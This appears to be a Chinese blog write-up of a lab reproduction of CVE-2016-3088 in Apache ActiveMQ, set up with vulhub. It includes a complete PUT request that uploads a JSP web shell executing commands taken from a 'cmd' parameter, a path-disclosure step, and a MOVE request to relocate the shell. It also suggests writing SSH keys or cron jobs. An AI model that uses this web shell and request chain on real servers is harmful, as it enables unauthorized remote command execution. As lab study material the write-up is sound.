记录ActiveMQHTTP方法不当漏洞(CVE-2016-3088)复现过程~
ActiveMQ 介绍
Apache ActiveMQ是由美国Pachitea(Apache)软件基金会开发的一种开源消息中间件,它支持Java消息服务,集群,Spring框架等。
漏洞版本范围
Apache ActiveMQ版本5.14.0之前版本的安全漏洞,该程序利用HTTP上传恶意文件达到特殊目的。
环境搭建
1 | git clone https://github.com/vulhub/vulhub.git |
运行环境后,将在靶机端口61616和8161上建立两个端口。端口61616是工作端口,消息在此端口上传递。端口8161是网页管理页面端口。访问靶机8161端口,您可以看到网络管理页面(默认密码admin/admin)。
复现过程
- burp抓包,利用HTTP的PUT方法将jsp木马其中写入TXT文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23PUT /fileserver/1.txt HTTP/1.1
Host: 192.168.2.100:8161
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Fri, 13 Feb 2015 18:05:11 GMT
Cache-Control: max-age=0
Content-Length: 327
<%@ page import="java.io.*"%>
<%
out.print("Hello</br>");
String strcmd=request.getParameter("cmd");
String line=null;
Process p=Runtime.getRuntime().exec(strcmd);
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
while((line=br.readLine())!=null){
out.print(line+"</br>");
}
%> - 获取路径
访问 http://192.168.2.100:8161/admin/test/systemProperties.jsp
得到路径为/opt/apache-activemq-5.11.1
- 利用HTTP的MOVE方法移动文件并更改文件名
1 | MOVE /fileserver/1.txt HTTP/1.1 |
漏洞理解
CVE-2016-3088的本质是对于HTTP的方法的应用,PUT方法用于上传文件,MOVE方法用于移动和重命名,正常情况下这两种方法应该是被禁用的,可能在实际环境中不一定有很大的作用,但是还是可以检测一下http方法,说不定有出奇的效果,能够写文件就可以写ssh公钥,写定时任务等
参考文章
https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2016-3088
本文链接: https://yd0ng.github.io/2020/01/14/CVE-2016-3088%E5%A4%8D%E7%8E%B0/
版权声明: 本作品采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议 进行许可。转载请注明出处!